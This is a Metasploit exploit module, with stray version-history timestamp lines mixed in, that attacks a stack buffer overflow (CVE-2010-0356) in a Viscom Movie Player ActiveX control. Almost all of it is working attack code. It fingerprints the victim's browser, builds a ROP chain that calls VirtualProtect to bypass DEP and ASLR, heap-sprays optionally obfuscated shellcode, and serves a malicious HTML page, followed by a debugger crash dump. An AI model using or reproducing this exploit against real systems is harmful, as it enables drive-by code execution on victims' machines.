2011-11-20 02:40:04 +00:00
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##
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2014-10-17 16:47:33 +00:00
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# This module requires Metasploit: http://metasploit.com/download
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2013-10-15 18:50:46 +00:00
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# Current source: https://github.com/rapid7/metasploit-framework
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2011-11-20 02:40:04 +00:00
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##
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require 'msf/core'
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2016-03-08 13:02:44 +00:00
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class MetasploitModule < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Viscom Software Movie Player Pro SDK ActiveX 6.8',
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'Description' => %q{
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Stack-based buffer overflow in the MOVIEPLAYER.MoviePlayerCtrl.1 ActiveX control
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in MoviePlayer.ocx 6.8.0.0 in Viscom Software Movie Player Pro SDK ActiveX 6.8 allows
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remote attackers to execute arbitrary code via a long strFontName parameter to the
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DrawText method.
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The victim will first be required to trust the publisher Viscom Software.
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This module has been designed to bypass DEP and ASLR under XP IE8, Vista and Win7
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with Java support.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'shinnai', # Vulnerability discovery and original exploit
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'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
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'mr_me <steventhomasseeley[at]gmail.com>' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2010-0356' ],
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[ 'EDB', '12320' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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2016-03-06 05:11:39 +00:00
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'DisablePayloadHandler' => false,
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2013-08-30 21:28:54 +00:00
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'Windows IE6-7', {} ],
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[ 'Windows IE8 + JAVA 6 (DEP & ASLR BYPASS)', {} ]
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],
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'DisclosureDate' => 'Jan 12 2010',
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'DefaultTarget' => 0))
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register_options(
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[ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ], self.class)
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end
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# Prevent module from being executed in autopwn
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("L")[0].to_i
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end
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def on_request_uri(cli, request)
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# Set target manually or automatically
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my_target = target
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if my_target.name == 'Automatic'
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agent = request.headers['User-Agent']
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
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my_target = targets[1] # XP
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
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my_target = targets[1] # XP
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
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my_target = targets[2] # XP
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
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my_target = targets[1] # Vista
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8\.0/
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my_target = targets[2] # Vista
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
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my_target = targets[2] # Win7
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end
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end
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sploit = rand_text_alpha(32)
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pivot_addr = 0x1126cfe4
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if my_target.name =~ /IE8/
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pivot_rop =
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[ # Pivot to get to ROP Chain
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0x10015201, # POP EBP # RETN 08 [MOVIEP~1.OCX]
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pivot_addr,
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0x10014361, # MOV ESP,EBP # POP EBP # RETN 08 ** [MOVIEP~1.OCX]
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junk, # ---------------------^
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junk, # ----------------------^
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junk, # ----------------------^
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junk, # -------------------------------------^
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junk, # -------------------------------------^
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0x1001c049, # RETN (ROP NOP) [MOVIEP~1.OCX]
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].pack("V*")
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sploit << pivot_rop
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code = [0x7C347F98].pack("V") * 4 # RETN (ROP NOP) [MSVCR71.dll]
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code <<
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[ # MSVCR71.dll - rop chain generated with mona.py
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0x7C37653D, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0xFFFFFDFF, # Value to negate, will become 0x00000201 (dwSize)
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0x7C347F98, # RETN (ROP NOP)
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0x7C3415A2, # JMP [EAX]
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0xFFFFFFFF, #
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0x7C376402, # Skip 4 bytes
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0x7C351E05, # NEG EAX # RETN
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0x7C345255, # INC EBX # FPATAN # RETN
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0x7C352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
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0x7C344F87, # POP EDX # RETN
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0xFFFFFFC0, # Value to negate, will become 0x00000040
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0x7C351EB1, # NEG EDX # RETN
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0x7C34D201, # POP ECX # RETN
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0x7C38B001, # &Writable location
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0x7C347F97, # POP EAX # RETN
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0x7C37A151, # Ptr to &VirtualProtect() - 0x0EF
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0x7C378C81, # PUSHAD # ADD AL,0EF # RETN
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0x7C345C30, # Ptr to 'push esp' # ret
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].pack("V*")
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code << payload.encoded
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else
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code = payload.encoded
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sploit << [pivot_addr].pack('V*')
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end
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# Payload in JS format
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code = Rex::Text.to_unescape(code)
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spray = <<-JS
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var heap_lib = new heapLib.ie(0x20000);
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var code = unescape("#{code}");
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var nops = unescape("%u0c0c%u0c0c");
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while (nops.length < 0x2000) nops += nops;
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var offset = nops.substring(0, 0x800-0x20);
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var shellcode = offset + code + nops.substring(0, 0x2000-offset.length-code.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x7fb00-6)/2);
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heap_lib.gc();
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for (var i = 0; i < 0x200; i++) {
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heap_lib.alloc(block);
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}
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JS
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# Use heaplib
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js = heaplib(spray)
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# Obfuscate on demand
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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# Randomize the javascript variable names
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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html = %Q|<html>
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2011-11-20 02:40:04 +00:00
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<object classid='clsid:F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E' id='#{vname}'></object>
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<script>#{js}</script>
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<script language='vbscript'>
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#{strname} = "#{sploit}"
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#{vname}.DrawText 1, 1, 1, "", 1, #{strname}, True, True, True, 1, 1, 1, 1, 1, 1
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</script>
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</html>
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2013-08-30 21:28:54 +00:00
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print_status("Sending #{self.name}")
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2011-11-20 02:40:04 +00:00
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2013-08-30 21:28:54 +00:00
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# Transmit the response to the client
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send_response_html(cli, html)
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end
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2011-11-20 02:40:04 +00:00
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end
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=begin
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(78c.1d8): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=000079f3 ebx=00000000 ecx=0203f298 edx=7c90e4f4 esi=008de5c0 edi=0287f2f4
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eip=41414141 esp=0203f300 ebp=0203f4a0 iopl=0 nv up ei pl nz na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
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41414141 ?? ???
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0:005> dd @esp
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0203f300 41414141 41414141 41414141 41414141
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0203f310 41414141 41414141 41414141 41414141
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0203f320 41414141 41414141 41414141 41414141
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0203f330 41414141 41414141 41414141 41414141
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0203f340 41414141 41414141 41414141 41414141
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0203f350 41414141 41414141 41414141 41414141
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0203f360 41414141 41414141 41414141 41414141
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0203f370 41414141 41414141 41414141 41414141
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=end
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